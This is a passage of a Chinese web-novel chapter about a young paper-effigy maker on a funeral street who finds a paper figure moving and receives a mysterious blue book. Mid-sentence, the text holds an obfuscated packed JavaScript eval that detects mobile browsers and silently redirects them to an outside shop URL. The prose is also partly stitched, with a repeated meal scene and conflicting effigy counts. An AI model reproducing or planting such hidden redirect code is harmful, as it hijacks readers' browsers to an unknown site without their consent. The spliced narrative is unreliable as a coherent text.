第一章扎纸铺·夜
殡葬一条街的灯，天一擦黑就剩两盏。这条街的路灯没有灯罩，灯泡光秃秃地悬着，夏天飞虫绕着转，冬天在风里晃，照着一条谁也不走的路。八月的天黑得晚，七点多钟，天边还剩最后一抹白，街面上已经没什么人了。水泥路被白天的太阳晒透了，热气焐在里头，这时候走上去，鞋底还是软的。
一盏是街口丧葬用品店的日光灯，管子里那点亮透着青，照着门口码成山的纸元宝和塑料花圈。金纸银纸在光底下反着冷光，塑料花圈被风掀起来，哗啦，哗啦，像有人在里头翻身。另一盏在沈烬的扎纸铺里。白炽灯，瓦数低，蒙了一层纸灰，光线落下来是昏黄的，刚好照亮柜台那一小块地方。灯光外面，铺子深处黑乎乎的，货架上的东西影影绰绰，像站了一屋子的人。
这条街白天也冷清。卖寿衣的，卖纸扎的，卖花圈的，一家挨一家，门脸都旧，招牌上的字褪了色。来的人不多，来了也不多话，买了东西就走，像怕惊着谁。铺子也多半是关着的，寿衣店的老周每天九点开门，十一点就关门，他说做死人生意，赶早不赶晚。花圈店的老板娘倒是从早坐到晚，坐在门口择菜，菜叶择下来随手扔在脚边，也不扫，见了人也不招呼，只抬一下眼皮。
沈烬的铺子不大，两间门面打通。靠墙一排货架，摆着扎好的纸马、纸房子、纸电视机、纸VCD机、纸手机，还有几台纸BP机，和一摞一摞的黄表纸、锡箔。纸马做得最用心，是她爹留下的手艺底子，鬃毛用捻好的线一根一根粘上去，远看像真的。马的眼睛是画上去的，两点墨，画得正正的。这条街上的纸扎，只有纸马有眼睛。
柜台后面，沈烬在扎纸人。她二十四岁，在这条街上算是年轻面孔，可眉眼间的沉静，比那些做了一辈子白事生意的人还老成。白炽灯照着她，脸是白的，手也是白的，指节上几道旧茧，是竹篾和剪刀磨出来的，指甲剪得秃秃的，干干净净。白线缠在她手腕上，一圈一圈，像戴着一串素色的镯子。她扎纸的时候不说话，也不听收音机，铺子里只有竹篾弯折的轻响，一声，一声，匀匀的。
扎了一会儿，后腰传来一阵酸。沈烬没动，换了个姿势，把重心往左边挪了挪，又继续。年纪轻轻的，腰先不行了，她抬手用袖口蹭了一下额角的汗。这铺子闷，夜里也闷，像焐着一层看不见的热。
竹篾是下午泡下去的，在后屋的水缸里泡足两个时辰，泡透了才软，才弯得动；泡不够，一弯就断，泡过了，骨架发糟，撑不住纸。她手上缠着白线，一圈一圈把竹篾捆成骨架，动作快，稳，眼睛不用看，指腹摸到接头，就知道往哪儿绕。她扎骨架从来不用尺子，看一眼就够，竹篾该弯到几分，线该缠几道，都是死规矩。半人高的纸人立在她面前，纸脸糊好了，还没点睛。
糊纸也有讲究。浆糊是面粉熬的，熬的时候要搅，搅到起泡，晾凉了才用。热浆糊会把宣纸烫出黄斑，烫过的纸，烧的时候先黑，不好看。纸糊两层，里层糙纸，外层宣纸，宣纸透光，点上灯，能照见纸人的骨架。剪刀是铜的，她爹留下的，刃口磨得薄，剪竹篾的时候，刃口吃进竹筋里去，脆，短，一声是一声。用完她总要擦一遍，擦完放回柜台右角，刀尖朝里。
点过睛的纸人不能过夜。这是她爹留下的规矩。爹说，纸人有了眼睛，就有了心思。点睛要留到最后，朱砂要研，研得细，兑一点白酒，点出来的眼睛才有神。爹还说，点睛的时候，不能跟纸人对视。她一直没问为什么，也没试过。这条规矩她守了十年，没破过。
她爹走得早，她十四岁那年没的。扎纸的手艺是爹手把手教的，爹走后铺子歇了三年，母亲重新支起来，又管了几年。爹走的那年冬天，铺子门口烧了三天纸马，纸灰落在雪上，黑一块，白一块。雪化了，灰还在。半年前，母亲也走了，走得怪。街坊说，沈家这铺子怕是不干净。沈烬不信这些，她只信规矩。规矩能保命。
她不是喜欢这门手艺。她只是觉得，纸做的东西干净。纸人不说话，不撒谎，扎好了立在那就立着，烧了就没了，比人省心。人不一样，人走了，还要留话，留东西，留债。纸烧了，什么也不欠。
王家来定纸人的时候，来的是儿媳妇。女人三十出头，脸黄，颧骨上两块暗斑，眼下青黑一片，像几天没合过眼。她站在柜台前，说话的时候眼睛看着别处，看着门外，看着柜台角上的黄表纸，就是不往纸人上看。她只说了一句：沈老板，给老爷子扎一对童男童女。她从口袋里摸出一沓钱，票子新旧不一，数钱的手指头有点僵，数了两遍，才递过来。沈烬接钱的时候，看见她指甲缝里嵌着一点白，是面粉。没还价，她站在门口看了半天才走，像在等什么。门外什么也没有，只有风。
她数了数柜台上扎好的纸人。三个。都是存货，一个不多，一个不少。给王家的童男童女，她应下了，明早头七要用，今晚就得扎出来。
「沈老板，关门了没有？」
隔壁香烛店的刘婶探进半个身子。她五十多岁，胖，腰上系着一条看不出颜色的围裙，围裙兜里插着一把香，人还没进门，檀香味先到了。手腕上一串钥匙，走一步响一声。她手里端着一只碗，碗沿上搭着一双筷子，热气往上冒：「给你下了碗面，趁热吃。」
「放桌上。钱明天给你。」
「说什么钱不钱的，一碗面。」刘婶把碗放到柜台上，看了一眼她手里的纸人，压低声音，「王家老爷子明天头七，你给扎的？」
刘婶隔三差五给她送碗面，说是看她一个姑娘家，吃饭没个准点。沈烬知道，刘婶是可怜她。这条街上的人，一半可怜她，一半怕她。
「嗯。」
「扎两个？」
「两个。」
刘婶欲言又止，末了叹了口气：「他家那个儿媳妇，今儿个天擦黑就不见了。有人说看见她往后街走，有人说她回娘家了，娘家说压根没回。派出所的人来问过话，没问出名堂。」
「老爷子咽气那天，人还好好的，还喝了半碗粥。」刘婶摇着头，「他生前在纸厂干了一辈子，手上全是纸浆沤出来的糙皮。走的时候，手里还攥着一卷纸，家里人掰都掰不开，最后连人带纸一起入了殓。你说，这年头，什么事都有。电视里天天喊防汛，我家那口子也叫去堤上守夜了，两天没着家。」
沈烬没接话。白线断了，她换了一根，重新起头。绕线的动作没停，像这话她听过许多遍，不值得抬头。
刘婶站在柜台边又看了一会儿，眼皮一抬，话冷不丁拐了个弯：「对了，街口老周家的侄女，上个月结的婚，听说嫁得可好了，男方家里开厂的。」
沈烬手上没停。
刘婶也不管她听不听，自顾自地继续：「也是二十三、四岁的姑娘，跟你差不多大。我那天还跟她妈聊天，她妈说呀，相了好几回才定下来，现在小两口过得好着呢。」她瞟了沈烬一眼，「沈老板，你也不小了吧？你妈走之前没少操心这事吧？」
沈烬扎着骨架，竹篾在她指间弯过去，绕紧，又弯过去。
刘婶叹了口气，声音里带着点真切的愁：「你一个人守着这铺子，吃不好睡不好的，长此以往，身子骨都要拖垮。你妈要知道，得多心疼。」
沈烬换了一根线，把线头咬断，抿了抿嘴角：「刘婶，面凉了。」
「哎哟，你还没吃呢？」刘婶这才把目光从纸人身上挪开，往碗上看了一眼，「你这孩子，光顾着干活，面坨了怎么吃？我回去给你热热。」
「不用。」
「行吧行吧，我管不了你。」刘婶嘴上说着，脚已经往外迈了，走到门口又回头，叮咛了一句，「吃完把碗搁门口，我明早来收。别又饿着肚子干活，听见没？」
「……听见了。」
刘婶的脚步声远了，啪嗒，啪嗒，拐进隔壁香烛铺，门板一响，没了动静。
沈烬把最后一道线绕紧，手指在纸人肩膀上拍了拍，放下。
她走到柜台前，掀开碗盖。面已经不烫嘴了，汤底还温着，葱花漂在上头，油星亮晶晶的。碗底卧着一个荷包蛋，蛋黄鼓鼓的，戳破一个小口，金黄的汁液慢慢淌进面汤里。她拿起筷子，挑了一筷面拌进去，蛋黄和面汤裹在一起，颜色深了一层。
筷子挑起来，送进嘴里。面有点坨了，嚼着发软，但汤底是鲜的。她吃得不快，一筷一筷的，中间停下来，用筷子把荷包蛋戳开，将蛋黄拌散了，和面一起拌进嘴里。
吃到一半，肚子咕噜叫了一声。不是她自己的动静，是胃在叫，声音不大，但在安静的铺子里听得清清楚楚。
隔壁传来刘婶的声音：「听见没？饿狠了吧！我就说嘛，肚子叫得我在隔壁都听见了！叫你吃饭你不听。」
「刘婶。」沈烬打断她，声音平平的，「我吃完了。」
「哎哟，吃这么快，噎着怎么办……」刘婶的声音还在唠叨，但渐渐远了，像是往里屋走了。
沈烬把最后一口面咽下去，放下筷子。碗里还剩一点汤底，她没喝，推到一边，从柜台下面摸出一小包纸巾，抽出一张，擦了擦嘴角。
她的手指在柜台上无意识地敲了两下，眼睛落在那几个纸人上，又移开。纸人立在那，纸脸雪白，腮红两点，没点睛，空洞洞的。她看了它们一会儿，收回目光，把纸巾叠好，塞进口袋。
沈烬手里的动作停了半拍，又续上。母亲走得怪，这半年来，街坊在她面前提起的次数，一只手数得过来。母亲走的前几天，总坐在柜台后头翻一本书，翻得很慢，一页一页的。她问过一次，母亲说是账本，说着就把书合上了。现在想想，那本书她再没见着。
脚步声在门外响了两下，没了。沈烬手里的动作一顿。隔了一会儿，门外又有脚步声，一下，一下，间隔均匀，像用尺子量过的。这条街上每个人的脚步她都听得出来。刘婶穿拖鞋，走路是「啪嗒、啪嗒」，两声一顿。这个脚步声不是她的。
这条街的夜里，过了十一点，不该有人走路。沈烬没抬头，手上继续绕线，耳朵竖着。白线在她指间绕到第七圈，她停了手。
她这半年夜里总睡不实，听见动静，要先听三遍才放心。不是胆小，是习惯。半年了，没有一次是冲她来的。这条街上的夜里，最多的动静是猫。
脚步声从门口过去，不快不慢，经过她铺子门前，往街那头走。她在心里数着，一步，两步，数到第七步，再没有第八步。脚步声走到路灯底下，没了。
她放下竹篾，走到门口看了一眼。风从街那头灌过来，带着一股纸灰味。后街没有人家烧纸，这个时辰。
后街空荡荡的。路灯下蹲着一只野猫，绿眼睛看着她。路灯底下什么都没有，猫在看什么，她不知道。猫的耳朵转了一下，朝着后街深处。后街深处，路灯照不到，黑成一片。
她站了一会儿，回身关门落了栓。
屋里闷热，后窗开着，蚊香的白烟在灯底下绕，细细的一缕。面坨了，她也不在意，就着昏黄的灯吃。面汤里卧着一个荷包蛋，酱油放得多，咸，是刘婶的手艺。她吃面的时候想，刘婶这人嘴上爱唠叨，手上的活计倒是实在，一碗面也舍得放蛋。
吃到一半，柜台后面「咔」的一声。很轻，像竹篾弯到不能再弯，裂开了。她放下碗，走过去。
五个纸人整整齐齐立在柜台上，纸脸雪白，腮红两点，朱砂点的，红得扎眼。她一个一个看过去，看得很慢，一个也不放过。童男，童女，存货，存货，存货。五个。一个不多，一个不少。
她正要转身，余光里，最边上那个童女纸人，头偏了一点。动作不大，像是有人从后头扶了一下它的头。
她停了一下，一寸一寸转回身。纸人还是纸人，纸脸雪白，腮红两点，眼睛的位置是空的，糊着白纸，没点睛。
没有眼睛，怎么偏头。母亲还说过一句：纸想当人的时候，会先学人动。她低下头，凑近纸人脸，看那两团空白的位置。那两团空白。空白也在对着她。
沈烬站在原地，没动。她心里默数。一，二，三。纸人没有动。数到七，还是没有动。她没数到十。爹说过，纸人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17933291|213681||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有了眼睛，就有了心思。它没有眼睛。它不该有心思。
她伸手，捏住它的肩膀，拎起来。纸做的，轻飘飘，空心。指腹按了按它的肩头，竹篾的骨架在纸下面，一根一根，清清楚楚，接口缠得匀称，是她自己的手艺，错不了。她摸了摸纸人的脸，纸是干的，凉的。她拎着它，像拎着一件空衣服。放下，退后一步，又数了一遍。五个。
它刚才偏头，是她看错了？风。她关了门，落了栓。屋里没有风。
她没再想。她把那个童女纸人单独拎出来，夹在腋下，走到铺子后头。爹教的规矩第一条：纸人出了岔子，别问为什么，先烧。
灶台边，她划了一根火柴，点着纸人的衣角。纸烧起来很快。火苗舔着纸脸，雪白变焦黄，焦黄卷成黑灰，塌下去，缩成一团。火苗是直的，没有风。没有声音，也没有气味。她看着火，从头看到尾，没有偏开眼睛。
火快灭的时候，她拨了拨灰。灰里有一小截没烧完的东西，红绳头，小指头长。她今天剪过竹篾，剪过纸，剪过线，没碰过那卷红绳。铺子里是有一卷红绳，扎喜事纸活用，年前买的，还没拆过封。她捏着那截绳头，捻了捻。绳头是新的，齐整整的，像是刚剪下来的。
她把红绳头扔回火里，看着它烧成一段黑灰，和纸灰混在一起，分不出来了。烧完了，她把灰扫进簸箕，出门倒进街口的垃圾箱。
回来，她洗了手。水是凉的，她洗了三遍，搓到指节发红，坐到柜台后，把剩下的纸人码好，用黄表纸盖住。四个，一个不少。她闻了闻自己的手指。没有味道。她在这条街上住了二十四年，身上常年带着一股纸灰味，街坊都闻惯了，她自己反倒闻不出来。可纸灰的味道，她不会认错。刚才烧纸人的时候，空气里只有一股干烧的气味，连纸灰味都没有。
她看了一眼墙上的钟。十一点四十七分。她关了灯，锁铺门的时候，检查了三遍锁。
铺子后面是一进小院，两间屋，一棵老榆树。树是她爹活着的时候种的，年头久了，树干粗得两个人抱不过来。月亮被云挡着，院子里黑黢黢的，只有树的影子在地上铺了一大片。墙根底下，蟋蟀叫两声，停一会儿，像在等什么。她走到屋门口，手搭上门闩，冷不丁顿了一下。
门缝里夹着一册东西。她抽出来，就着院里的天光看。一册旧书，线装，深蓝色布面，没有书名，像账本，又比账本厚。布面像浸过水又晒干，颜色深一块，浅一块。拿在手里很轻，轻得不像纸的分量，倒像捧着一团晒干的影子。
她翻开封皮。纸页泛黄，放了很多年的那种黄，一个字也没有。页码写在右下角，手写，墨色不一，有的深，有的浅，像是不同时候写上去的。她翻书有个习惯，一页一页捏着页角翻，心里默数。
翻到中间某一页的时候，她的手指顿了一下。那一页是凉的，凉得像刚从井水里捞出来。她没停，继续翻。她想回头找那一页，最终还是没找。
数到第七十七页，她的手指不动了。第七十七页是空白的。纸页发黄，却比别的页白一些，像是被人用刀刮过。纸面起了一层细毛，白惨惨的，凹痕里的纸毛一根一根竖着，像刮鱼鳞，一刀挨着一刀，原来的字连着纸皮被刮掉了。她捻了捻那道凹痕，指腹蹭过去，涩的。水泡过的纸会皱，会发暗；磨白的纸不会凹得这么齐整。这是刀刮的，顺着笔画，一刀一刀，把字连着纸皮刮了下去。她低下头看那页纸，那页空白。
墨迹从印子里渗出来。
先是一个点，像是墨滴落在了背面，洇过来。然后笔画顺着洇开的印子成形，一笔，一画，像有一支看不见的笔蘸着水在写。竖排两行字：
纸人馆，亥时。
下面又渗出一行小字，比上面一行细，颜色也淡：
持卷人，沈烬。
她捏着书页的手指收了一下，又松开。她伸手想擦一下那行字，指腹蹭过纸面。墨干了，吃进纸里，擦不掉。
纸人馆。殡仪馆后街她走了无数回，没见过这么一家铺子。那条后街统共六家门脸，她闭着眼都能数出来。没有这么一家。亥时，夜里九点到十一点。现在是十一点四十七分。下一个亥时，是明晚。
她从头到尾翻完了整本书，除了第七十七页，一个字都没有。又翻了一遍，还是只有那一页。她合上书，塞进怀里，推门进屋。
屋里没开灯。她在床沿坐下，把书又摸出来，借着窗外漏进来的月光，摩挲深蓝色的布面。布面很旧，边角磨得起了毛，像是被人翻过很多遍。
沈烬。这个名字，她没对几个人说过。街上的人叫她沈老板，叫她小沈，没人知道她全名叫沈烬。
这本书知道。
她躺下来，书放在枕边，眼睛落在墙上那道白，好一会儿没挪开。屋里很静。窗外，蟋蟀叫了两声，歇了。没有风，窗纸上的榆树影子却晃了一下，又定住。
临睡前，她打了个哈欠，用手背挡着嘴，眼角挤出了点生理性的湿意。她想，爹的规矩，点过睛的纸人不能过夜。没点过睛的，夜里自己偏了头，该怎么办。明天去问谁。
窗外，后街的方向，远远传来一声唢呐，像是从地底下吹上来的。唢呐响了几声，断在第七声上，此后再没有响。后街安静得能听见自己的心跳。
她躺了很久，没睡着，想母亲留下的东西里，有没有一本书，也是这样的线装，深蓝色布面。母亲有个樟木箱子，锁着。钥匙挂在她的腕子上，人走的时候，钥匙也跟着走了。箱子还在床底下，她一直没动过。
母亲走的那天，她不在家。回来的时候，铺子里干干净净，灶上坐着一锅粥，还温着。母亲像是算好了时辰走的。她翻了个身，闭上眼睛。她不是不怕。她怕。但这半年，她等怪事等得太久。母亲走的时候，什么都没留下，只留了一个「走得怪」。现在这本书找上门来，她不能不看。
她知道自己等的东西，来了。
明天天亮，她要去殡仪馆后街走一趟。这条街上的每一家铺子她都认得，多出来的那一家，她会找出来。